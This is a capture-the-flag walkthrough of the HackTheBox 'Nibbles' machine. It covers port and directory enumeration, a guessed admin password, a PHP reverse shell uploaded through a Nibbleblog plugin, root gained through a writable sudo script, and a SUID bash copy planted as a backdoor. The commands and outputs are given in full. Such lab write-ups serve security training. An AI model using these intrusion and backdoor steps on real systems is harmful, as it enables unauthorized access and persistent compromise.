7 minute read

Introduction


Nibbles is an easy machine on HackTheBox. It has a rating of only 2.8, so there might be some password guessing or brute forcing. Nevertheless, let’s start enumerating the machine.

Enumeration


Nmap Scan


I will use nmap to scan of the top 1000 ports:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/nibbles]
└─$ nmap nibbles.htb -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-18 21:24 CEST
Initiating Ping Scan at 21:24
Scanning nibbles.htb (10.10.10.75) [2 ports]
Completed Ping Scan at 21:24, 2.04s elapsed (1 total hosts)
Initiating Connect Scan at 21:24
Scanning nibbles.htb (10.10.10.75) [1000 ports]
Discovered open port 22/tcp on 10.10.10.75
Discovered open port 80/tcp on 10.10.10.75
Completed Connect Scan at 21:24, 0.49s elapsed (1000 total ports)
Nmap scan report for nibbles.htb (10.10.10.75)
Host is up, received conn-refused (0.039s latency).
Scanned at 2021-08-18 21:24:54 CEST for 3s
Not shown: 998 closed ports
Reason: 998 conn-refused
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.58 seconds

There are two ports, let’s just scan all ports to be sure I found every thing:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/nibbles]
└─$ nmap nibbles.htb -p- -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-18 21:02 CEST
Initiating Ping Scan at 21:02
Scanning nibbles.htb (10.10.10.75) [2 ports]
Completed Ping Scan at 21:02, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 21:02
Scanning nibbles.htb (10.10.10.75) [65535 ports]
Discovered open port 22/tcp on 10.10.10.75
Discovered open port 80/tcp on 10.10.10.75

The scan took forever, so I aborted it. Now I start a script scan with only the two open ports:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/nibbles]
└─$ sudo nmap nibbles.htb -p 22,80 -sV -sC -A -O
[sudo] password for user: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-18 21:26 CEST
Nmap scan report for nibbles.htb (10.10.10.75)
Host is up (0.037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), 
Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), 
Linux 3.18 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   27.46 ms 10.10.16.1
2   27.56 ms nibbles.htb (10.10.10.75)

Nmap done: 1 IP address (1 host up) scanned in 27.43 seconds

Enumeration of Services


Port 22


Enumerating the SSH service is probably a rabbit hole, so I will skip it (because the version is not vulnerable).

Port 80


I visit the webpage and there is just a “Hello World” text. A gobuster scan could not find any directories. But after looking at the source code, I find a hint to a secret directory:

Untitled

I visit the directory and find a blog website. The links on the page could not help me to enumerate further, so I ran another gobuster scan on this directory:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/nibbles][1/73]
└─$ gobuster dir -u http://nibbles.htb/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-nibbleblog.txt -x php,html,log,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nibbles.htb/nibbleblog/ 
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,log,txt,php
[+] Timeout:                 10s
===============================================================
2021/08/18 21:54:55 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 2987]
/sitemap.php          (Status: 200) [Size: 402] 
/content              (Status: 301) [Size: 323] [--> http://nibbles.htb/nibbleblog/content/]
/themes               (Status: 301) [Size: 322] [--> http://nibbles.htb/nibbleblog/themes/] 
/feed.php             (Status: 200) [Size: 302]                                              
/admin                (Status: 301) [Size: 321] [--> http://nibbles.htb/nibbleblog/admin/]  
/admin.php            (Status: 200) [Size: 1401]                                             
/plugins              (Status: 301) [Size: 323] [--> http://nibbles.htb/nibbleblog/plugins/]
/install.php          (Status: 200) [Size: 78]                                               
/update.php           (Status: 200) [Size: 1622]                                             
/README               (Status: 200) [Size: 4628]                                             
/languages            (Status: 301) [Size: 325] [--> http://nibbles.htb/nibbleblog/languages/]
/LICENSE.txt          (Status: 200) [Size: 35148]                                              
/COPYRIGHT.txt        (Status: 200) [Size: 1272]                                               
Progress: 98650 / 1102805 (8.95%)                                                            ^C
[!] Keyboard interrupt detected, terminating.
                                                                                               
===============================================================
2021/08/18 22:16:37 Finished
===============================================================

The README file is interesting, it shows a possible PHP injection in the blog posts:

<p>Graecis explicari vim cu. Vim simul tibique in, bonorum officiis maluisset eam an? Ut senserit argumentum pri, mei ut unum tollit labores. Mea tation nusquam detracto et. Ius quis disputationi an!</p>
<pre><code data-language="php">&lt;?php
	echo "Hello Nibbleblog";
	$tmp = array(1,2,3);
	foreach($tmp as $number)
		echo $number;
?&gt;</code></pre>
<h2>How to install Git</h2>

I can also call the files in the themes/plugins, so if I can edit them, I can use them as a reverse shell:

Untitled

I try to access the install file, but it redirects me to update.php:

Untitled

Here is update.php

Untitled

No access to these files, but I now know the version of the blog: 4.0.3

I checked many plugin files, but one is interesting: http://nibbles.htb/nibbleblog/plugins/my_image/plugin.bit

Untitled

With this file, I can probably upload a reverse shell. But first I check for exploits, maybe there is one available that uses this file. I tried to upload a reverse shell, but that did no work.

I found an exploit, but in order to work, I need credentials first. But here is the exploits on two sites:

https://wikihak.com/how-to-upload-a-shell-in-nibbleblog-4-0-3/

https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html

Now, I went to the admin.php page:

http://nibbles.htb/nibbleblog/admin.php

There is a login, as known from other boxes, the password might be a variant of the word nibbles. I tried some combination with admin/administrator, and viola, the combination admin:nibbles worked.

Exploitation


I already logged in as administrator with the credentials from above. I found an exploit, with which you can upload a php reverse shell, for this, visit the configuration page of the My Image plugin:

Untitled

Here, I upload my php reverse shell:

Untitled

Start a netcat listener and open the file in the browser:

Untitled

Loo at the netcat listener. A shell as user nibbler spawned:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/nibbles]
└─$ nc -lvnp 4444       
listening on [any] 4444 ...
connect to [10.10.17.28] from (UNKNOWN) [10.10.10.75] 40968
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 02:29:18 up 11:20,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
nibbler

Before searching for the user flag, I stabilize the shell:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
nibbler@Nibbles:/$ export TERM=xterm
export TERM=xterm
nibbler@Nibbles:/$ ^Z
zsh: suspended  nc -lvnp 4444

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/nibbles]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 4444

nibbler@Nibbles:/$

Getting The User Flag


It’s time to get the user flag:

nibbler@Nibbles:/$ cd /home
nibbler@Nibbles:/home$ ls
nibbler
nibbler@Nibbles:/home$ cd nibbler
nibbler@Nibbles:/home/nibbler$ ls
personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
61**************************d7d5

Privilege Escalation


In the user folder, there is a zip file, I extract it and search for interesting files:

nibbler@Nibbles:/home/nibbler$ unzip personal.zip
Archive:  personal zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ ls
personal  personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ cd personal
nibbler@Nibbles:/home/nibbler/personal$ ls
stuff
nibbler@Nibbles:/home/nibbler/personal$ cd stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls
monitor.sh

I run the script, it shows this output:

Internet:  Disconnected
Operating System Type :  GNU/Linux
OS Name : Ubuntu
UBUNTU_CODENAME=xenial
OS Version : 16.04.3 LTS (Xenial Xerus)
Architecture :  x86_64
Kernel Release :  4.4.0-104-generic
Hostname :  Nibbles
Internal IP :  10.10.10.75 dead:beef::250:56ff:feb9:1875
External IP :  
Name Servers :  DO 10.10.10.2
Logged In users : 
Ram Usages : 
              total        used        free      shared  buff/cache   available
Mem:           974M        235M        122M         10M        616M        524M
Swap Usages : 
              total        used        free      shared  buff/cache   available
Swap:          1.0G          0B        1.0G
Disk Usages : 
Filesystem                    Size  Used Avail Use% Mounted on
/dev/sda1                     472M  133M  330M  29% /boot
Load Average :  0.00,0.00,0.00
System Uptime Days/(HH:MM) :  11:29

I can run the script as root, every use can edit it:

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 4024 Aug 19 03:02 monitor.sh

So I just add /bin/bash to the beginning of the script and run it as root:

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -u root ./monitor.sh 
root@Nibbles:/home/nibbler/personal/stuff# whoami
root

Now I am root.

Getting The Root Flag


I should be able to read the root flag:

root@Nibbles:/home/nibbler/personal/stuff# cd /root
root@Nibbles:~# ls
root.txt
root@Nibbles:~# cat root.txt 
4e**************************3145

Persistency


To get a persistent way to get root on the box, I could generate a new SSH key for root. But I will just copy /bin/bash to another place and add a SUID bit:

root@Nibbles:~# mkdir /tmp/backdoor
root@Nibbles:~# cp /bin/bash /tmp/backdoor
root@Nibbles:~# cd /tmp/backdoor/
root@Nibbles:/tmp/backdoor# ls -l
total 1016
-rwxr-xr-x 1 root root 1037528 Aug 19 03:13 bash
root@Nibbles:/tmp/backdoor# chmod +s bash
root@Nibbles:/tmp/backdoor# ls -l
total 1016
-rwsr-sr-x 1 root root 1037528 Aug 19 03:13 bash

The initial access is done with the php reverse shell, after that you just have to execute the copied bash in tmp:

nibbler@Nibbles:/tmp/backdoor$ whoami
nibbler
nibbler@Nibbles:/tmp/backdoor$ ls
bash
nibbler@Nibbles:/tmp/backdoor$ ./bash -p
bash-4.3# whoami
root